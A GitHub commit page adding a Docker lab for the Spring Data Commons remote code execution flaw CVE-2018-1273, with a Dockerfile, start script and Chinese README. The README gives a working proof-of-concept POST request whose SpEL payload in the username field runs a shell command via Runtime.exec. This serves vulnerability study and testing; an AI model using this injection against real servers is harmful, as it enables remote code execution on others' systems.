Skip to content
This repository was archived by the owner on Apr 12, 2022. It is now read-only.

Commit 36640b3

Browse files
committed
(Add Vul: Spring) Spring Data Commons 代码执行漏洞(CVE-2018-1273)
1 parent 65a793b commit 36640b3

File tree

4 files changed

+73
-0
lines changed

4 files changed

+73
-0
lines changed

s/spring/2/Dockerfile

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
FROM openjdk:8-jdk
2+
3+
4+
ENV JAR_URL http://vulapps.poetn.cc/s/spring/spring-data-commons_CVE-2018-1273.jar
5+
6+
COPY src/start.sh /start.sh
7+
8+
RUN set -x \
9+
&& chmod a+x /start.sh \
10+
&& mkdir /htdocs \
11+
&& wget -qO /htdocs/ROOT.jar $JAR_URL
12+
13+
EXPOSE 8080
14+
15+
CMD ["/start.sh"]

s/spring/2/README.md

+52
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
## Spring Data Commons 代码执行漏洞(CVE-2018-1273)
2+
3+
### 漏洞信息
4+
5+
- [Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】](https://xz.aliyun.com/t/2269)
6+
7+
### 获取环境:
8+
9+
1. 拉取镜像到本地
10+
11+
```
12+
$ docker pull medicean/vulapps:s_spring_2
13+
```
14+
15+
2. 启动环境
16+
17+
```
18+
$ docker run -d -p 8080:8080 medicean/vulapps:s_spring_2
19+
```
20+
> `-p 8080:8080` 前面的 8080 代表物理机的端口,可随意指定。
21+
22+
### 使用与利用
23+
24+
访问 `http://你的 IP 地址:端口号/`, 假设启动的端口号为 8080
25+
26+
#### PoC
27+
28+
1. 访问 `http://127.0.0.1:8080/users`,测试服务是否启动成功
29+
30+
2. 发送如下数据包,执行命令为: `/bin/touch /tmp/vuln`
31+
32+
```
33+
POST /users?page=&size=5 HTTP/1.1
34+
Host: 127.0.0.1:8080
35+
Proxy-Connection: keep-alive
36+
Content-Length: 138
37+
Cache-Control: max-age=0
38+
Origin: http://127.0.0.1:8080
39+
Upgrade-Insecure-Requests: 1
40+
Content-Type: application/x-www-form-urlencoded
41+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
42+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
43+
Referer: http://127.0.0.1:8080/users
44+
Accept-Encoding: gzip, deflate, br
45+
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
46+
47+
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin/touch /tmp/vuln")]=test&password=test&repeatedPassword=test
48+
```
49+
50+
### 参考链接
51+
52+
- [Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】](https://xz.aliyun.com/t/2269)

s/spring/2/src/start.sh

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
#!/bin/bash
2+
while [[ true ]]; do
3+
java -jar /htdocs/ROOT.jar
4+
sleep 5
5+
done

s/spring/README.md

+1
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
11
# Spring
22

33
* [Spring Data REST PATCH请求代码执行漏洞(CVE-2017-8046)](./1/)
4+
* [Spring Data Commons 代码执行漏洞(CVE-2018-1273)](./2/)

0 commit comments

Comments
 (0)